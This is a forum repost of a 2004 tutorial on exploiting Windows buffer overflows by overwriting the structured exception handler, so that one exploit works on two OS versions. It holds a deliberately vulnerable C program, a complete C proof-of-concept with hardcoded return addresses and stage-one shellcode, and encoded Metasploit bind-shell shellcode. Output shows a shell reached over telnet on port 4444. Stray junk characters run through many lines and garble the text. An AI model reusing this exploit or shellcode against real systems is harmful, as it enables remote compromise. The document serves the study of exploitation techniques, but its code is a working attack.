QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2436|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.. u$ i) {3 B$ y# r  q1 L

2 m: A0 W7 v8 v; D$ r7 X! M[Buf] <- Shellcode
" K5 z  u- B1 y( {- F* z[Return Address] <- jmp register (for Windows XP sp1); W1 N  Z6 r# ]3 g. p
[Various Stack Data] <- Junk2 w; R- [( k! Z) R2 C
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward
7 l& D2 ^3 I+ V1 A2 k' c- e4 l[SE Handler] <- jmp register (for Win2k sp4)* t' n/ ~1 D) U$ |$ {) b5 M0 \
[Stage1 Shellcode] <- stage1 shellcode for win2k
) C& r9 _$ S! B* A3 M: w5 z' L5 Z7 x  K1 |
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses% ~2 `/ a, ~- F+ C: C4 |

6 q, t/ ~+ o( x/ Q9 m; ONecessary Tools:3 }" t! U) [: j
- OllyDBG
- ~9 N* |; Y$ `! K- C/C++ Compiler9 ~% \" m9 z/ @9 B
- nasm
, |) z6 h4 u1 i' d: t8 |( d- Sac) x7 ^+ F# m( X+ j
& ?+ U! k. M6 N2 s
Vulnerable Code:
+ [+ V$ K5 P2 B( B4 m2 j0 k+ z//lamebuf.c
* O2 Y; \% Z/ m- j) }9 n5 j#include<stdio.h>
" I$ D' N& V4 _) C) `5 M3 T#include<string.h>
+ x( t% A7 g9 [#include<windows.h>- I5 t1 Q$ p: Z. G: H" P" m
int main(int argc,char *argv[]){% l5 h1 t  b0 R1 I" b2 @% G* e
; L. `$ v4 _% M1 U7 H
char buf[512];/ B) F# e) B# }. ]
char buf1[1024]; // <- simulate a stack8 ]. |6 I4 q3 q% Z! ?# b
//DebugBreak();7 J7 \% h/ S: h4 j0 {" Z( k
if (argc != 2){ return -1; }2 V; Z5 ]# f# r' c0 X

, T# k7 H" C6 @strcpy(buf,argv[1]);
6 F/ @0 p, N2 A7 R" h2 rreturn 0x0;
5 p. r% J! e% `# j8 T! x/ L# i}& X. @1 u+ |+ ?& d0 |% X9 M
* H  t0 W7 z$ t8 b
Getting Started:
+ W1 e: M' \8 m! o$ [# F3 @Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
; p( ~: }! x. q! M5 v7 ^1 }3 D0 F+ H; _9 a4 q# ]2 x
EAX 00000000
. Z" [* O! |, ~& G  ~4 P1 x" }ECX 003214040 m) F8 h" W( h" `, ^" d
EDX 00414141
3 N# o0 W2 i$ _. m+ ]EBX 7FFDF000
3 W$ w4 C! E+ M4 {1 @ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") U/ D: m! a$ a3 q3 b& O0 K" M
EBP 41414141
. q2 m$ I' T+ v9 \ESI 77D4595F% K! v0 X* @' A, \
EDI 77F59037 ntdll.77F590375 F1 u$ j- j  j* l
EIP 41414141
! y8 [0 ]: N5 ^2 q+ V2 Z' j: o# V  t2 [0 b! q$ M; C# O: ^
Lets take a look at the stack and see what happened to the default exception handler:/ V! s  N  B3 n# c/ k' ~8 n
0x0012FFB0 41414141 Pointer to next SEH Record
4 L! C2 q' F- I) @  o& n$ |9 h0x0012FFB4 41414141 SE Handler# ?! I0 \1 g8 ^% R& s: b
, J* R! V+ [2 j6 {- b# v
We successfully overwrote the return address and the default exception handler.
: o) n7 i# R7 U4 U4 o* C4 t" [% b8 I4 N
Primary Return Address (Windows XP SP1 EN):1 g* S9 q( X! |7 P% ]
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:: w; R& f0 K8 Q6 ]' @
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
  s9 g7 U8 S9 F5 K! o2 t& u. e! ]; Q' n* K* |8 e4 ^( i
Secondary Return Address (Windows 2000 SP4 EN):  K# t$ ~* V5 S
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:$ V- U  j" B9 i; T7 E% f# [' I
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"  [% b3 x6 V+ U& k  H# s& A+ B

6 P1 t/ T9 E( T0 |. j+ l) Q( n5 BProof Of Concept:
) x, h7 Z2 z1 n0 x2 |// exploit.c
$ O4 }% W# ?) N7 e' U, Z( A// Tal zeltzer - [Double Return] //" {$ ~( a* \, y5 \  @% |

  N. J+ z$ v4 d, Q7 o" Y" @$ k6 B% c! I3 s#include<stdio.h>
9 l: @, v  a, d' t: _#include<string.h>
) J3 P& [2 J9 @$ Q6 F. Y#include<windows.h>/ W( F% N7 q" |& U) Q# [- t
1 J4 Q& g  ?/ a% ]  D: b" N
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
: S  A6 {1 @9 _, S" O& S8 p9 b#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
: x+ X* J, K8 C0 F$ V" \3 W6 E/ m; M: @& @* ?
// Stage1 For WinXP Sp1 English- \; L( L9 w% @. w+ Z4 E. c- t
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";) f) X) y* m$ G. U
5 P; [* L! b' @) }
// Stage1 For Win2k Sp4 English4 @: B5 l2 |$ t) r4 z3 Q
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";6 `$ v7 N# ?& k  F: O0 ^% E2 B
; f$ b6 ?$ ?  `7 l2 a) S) n
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
1 y* ^' j0 @. |3 a& R1 ^6 A& I# n" gunsigned char shellcode[] =
9 A+ w% k: j+ y4 ^7 ]+ X6 a"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"+ r3 S$ s( q$ X# h# [9 s
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"3 O/ g/ Z- l8 ^' H) K* M. Z0 k- u
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
" Z: L) s3 _0 {; K6 l"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0": y' d: n8 C) I: P
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
. r5 C3 i3 ^) w) v9 C"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"% N# l% ^& o# C& k2 E
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14": M; B0 V0 i. J0 _
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
& {  E( _' E# P4 \"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
% m% e# f4 k0 _5 _6 t"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
/ K8 ^8 u+ r) j9 I# F, R6 Z"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"7 G% p% s( @9 b3 z# ?* S
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
# x# \1 N/ {+ o"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
1 w5 l- `: `0 a. t4 @; |8 `: Z/ X, j"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16", F- k8 R5 ?! T$ O
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f") A2 ^" C+ Q5 \- `5 F$ f+ }
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"; A) x: \* g" ~( H1 Y
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"9 K% k8 |; m* J
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
$ y+ c5 G, E7 W* r9 ?"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"" y) K8 R4 U/ c' A
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"  N, Y* k( P0 F: B  X
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f": c( `$ Z& E5 |% a3 c
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"( U" w$ [' B+ @8 e
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"( S9 j1 I5 u- w. Y
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"; D6 k! i1 [; b: s2 Z/ c# O
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
4 ^( P; \% n: j  o: r% J/ `5 F9 Z

& N1 q8 `; B' ~: S) e2 z) `" D  `int main(int argc,char *argv[]){8 e2 a# \3 R. |. m, `

3 K8 h+ k$ \% vchar *bufExe[3];. s/ |1 |2 f, N
char buf[2048];4 n7 A) c. L0 B7 W! R  q
bufExe[0] = "lamebuf.exe";
- I# s3 p# U' G5 mbufExe[2] = NULL;* B1 }& }$ ~& |

. C5 b% x$ ~2 ^6 x7 _9 Jmemset(buf,0x0,sizeof(buf));
: X0 G  ^1 \6 l5 lmemset(buf,0x90,1652);
0 K% j1 ~! n# V/ v$ B, z- l0 Umemcpy(&buf[24],shellcode,sizeof(shellcode)-1);
6 s0 M, v# o( F# ^  p/ ^9 g  I" S, o& C+ O9 y
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
. C9 I1 r' P- D+ `' r3 ^memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode
( H+ f2 s/ X' f9 x+ ]0 |0 Y" ^4 {& E4 c/ ]
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
! l# s  ]( i" T% T*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code% w/ }5 x( {; Q% k" U
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en9 z! D; W3 c( J0 k# k) h! w

# M$ b* t; p- M$ ^4 N: y$ l4 Q. O" v' e3 C0 m( Z0 a
bufExe[1] = buf;. [# T, J- u5 l' G' f/ F. T5 M  s0 Y
//Execute the vulnerable application
! ^" b0 O3 ^5 t0 e# J* kexecve(bufExe[0],bufExe,NULL);
" _$ t3 ?9 c' t6 z' t* F: h+ a( Q4 R5 j- x7 a% y3 z
return 0x0;
. |" A8 W8 A/ f8 G* k* L( |}# v4 v4 Q# j$ r9 s, c) c
, w) d7 f/ f# y9 L4 S/ e
Exploit under Windows XP SP1:6 J4 {# j9 A4 f& ]0 d
C:\>exploit
( K0 z# _9 g  `& C8 YC:\>
0 i! ^( ~- l) p6 h* I9 ^C:\>telnet 127.0.0.1 4444
/ U9 _8 Y+ H" S& T' t
5 u7 q! C2 ?5 A( H# P* I( t! m% NMicrosoft Windows XP [Version 5.1.2600]
0 G: w3 C' S7 m! m(C) Copyright 1985-2001 Microsoft Corp.
7 f/ y# D4 s. E! [5 Z: k9 Q) ^5 }
* }  E; i& e7 k- V- ^, I$ SC:\>
  z. e; ]6 ]7 ]9 G3 h" A, [, x1 U: j5 V1 D
Exploit under Windows 2000 SP4:* s. a" a. l# J" v% y; B
C:\>exploit; U% L4 p$ W1 s+ a. X3 O) `
C:\>2 w3 w" I+ H4 n) H; z7 A! e
C:\>telnet 127.0.0.1 4444
- C$ l( u5 o3 E: j, [, [3 S3 U6 e% ?: s! |# E% I
Microsoft Windows 2000 [Version 5.00.2195]7 K% r( W" `7 ^1 H9 H+ n
(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-25 01:00 , Processed in 0.352229 second(s), 52 queries .

回顶部